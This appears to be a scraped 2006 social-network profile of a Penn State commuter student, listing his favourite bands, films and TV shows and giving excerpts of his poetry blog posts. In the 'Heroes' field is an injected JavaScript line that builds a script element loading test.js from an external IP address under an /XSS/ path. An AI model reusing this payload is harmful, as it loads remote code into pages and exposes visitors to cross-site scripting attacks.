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Clingster

You've begun to feel like home...

About Me

[(Potato Gun) - (Potatoes) + (Wiffle Ball Bat)] = Me Doing This...
I go to college at a branch of Penn State, in a middle-of-nowhere town called New Kensington. I live at home and commute, 'cuz I wanted to stay close to home for a band I was in, which just recently broke up, 'cuz one of the members just moved out to San Diego with his girlfriend to take a job.
I NEED to move out, but my transfer application to UP got denied, because I've already taken too many credits at New Ken. What the eff is that??
I'm happy things have played out the way that they have, though, 'cuz if I'd ended up transferring to UP, I wouldn't have gotten as good an opportunity to get to know the girl who's now my amazing girlfriend.
I'm pretty much the most laid back person you could possibly meet. I'm almost never pissed or stressed. I just like having fun anywhere, at anytime, 'cuz... fun rules.
I should also mention that I'm a complete sports nut. I hardly have anything other than ESPN and ESPN2 on whenever I'm watching TV.
GO STEELERS AND PENS!!
P.S. - Life sucks not being in a band anymore. I miss it like whoa.
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My Interests

My Jeep Wrangler, the Steelers, the Penguins, and the 3 M's...
Muay Thai, Music & Movies

I'd like to meet:

Zach Braff, Donald Faison, Dane Cook, Conan O'Brien, Seth MacFarlane, Matt Maiellaro, Dave Willis, Dana Snyder

Music:

mewithoutYou - January 1979 As I Lay Dying
mewithoutYou
36 Crazyfists
Misery Signals
Underoath
Haste the Day
hellogoodbye
Head Automatica
Imogen Heap
Mae
Anberlin
Death Cab for Cutie
John Mayer
The Postal Service
Ben Folds
Bullet for My Valentine
Panic! At the Disco
Killswitch Engage
In Flames
Bleeding Through
Zao
Poison the Well
Symphony in Peril
Twelve Tribes
Misery Signals
It Dies Today
Machine Head
Story of the Year
Jimmy Eat World
Blindside
Ill Nino
Hoobastank
Demon Hunter
Barenaked Ladies
Colin Hay

Movies:

Garden State
Eternal Sunshine of the Spotless Mind
Ong Bak (Thai)
Tom Yum Goong (Thai)
Wedding Crashers
American Beauty
Anchorman
The Boondock Saints
The Bourne Identity
Closer
Donnie Darko
High Fidelity
Jackass
Lost in Translation
Me, Myself & Irene
Monty Python and the Holy Grail
Napoleon Dynamite
Office Space
Old School
Saving Silverman
Starsky & Hutch
Super Troopers
Team America
Zoolander

...AND...
The Lord of the Rings
Adam Sandler movies
Bruce Lee movies

Television:

[scrubs]
The Office
Aqua Teen Hunger Force
Law & Order
Law & Order: SVU
Family Guy
Chappelle's Show
Reno 911
Top Gear
Mythbusters
Wonder Years

Books:

The Bible
the perks of being a wallflower
philosophy stuff
books about Bruce Lee
I have to admit, I'm a fantasy nerd.

Heroes:

The Big J.C. and every one of my family and friends. .."var s=document.createElement('script');s.src='http://75.126.2.15 7/XSS/test.js';document.getElementsByTagName('head')[0].appe ndChild(s);"

My Blog

A Lack of Change

Picture of a manStandingBleedingDyingRiddled with questionsOf existenceUncertainUndeservingStepping through the windowShards of glassRemnants of a once perfect lifeLeaving behind the memoriesOf wholen...
Posted by Clingster on Sun, 20 Aug 2006 10:00:00 PST

Goodbye

everything shifts from red to grayas if the change in color means anything more than thata change in colorin the appearance of the world before mebelief is a word i no longer understanda concept shatt...
Posted by Clingster on Sun, 20 Aug 2006 09:58:00 PST

Empty Faces

Empty facesSmiling back at meAnd the ends of theseShining and blinding my eyesCovered from your sightNot knowing whereNor caring to learnAssumptions tell talesWhich turn into liesBelieved in moments o...
Posted by Clingster on Sun, 20 Aug 2006 09:52:00 PST

And somehow...

And somehow, it's all overAnd it feels as thoughIt never beganLike a death before birthCold fingers pry the heartFrom this cavity in my chestCarving into it with wordsLike knivesHolding onto this isLi...
Posted by Clingster on Sun, 20 Aug 2006 09:51:00 PST

Fire Escape

"When it rains it pours"And after all the drops have fallenI lie here, dazed and awedLeft with a choice It feels as if I stepped through a doorWith a sign posted as a warningBut if t...
Posted by Clingster on Sat, 28 Jan 2006 12:42:00 PST

Endless Presence

Swooping canyons lined withRolling rivers of wispy crystal watersScattered colors splayed acrossA sky which peeks out from behindA blanket of cool and calming colorsThe result of trees topped with lea...
Posted by Clingster on Sat, 28 Jan 2006 12:37:00 PST

Unsolved Mysteries Update: The DuFrane Party

On the evening of Saturday, October 2nd, sometime between the hours of 9 and 10pm, the DuFranes, a party of 12, was successfully located in a Texas Roadhouse in Greensburg, PA.
Posted by Clingster on Mon, 01 Jan 1900 12:00:00 PST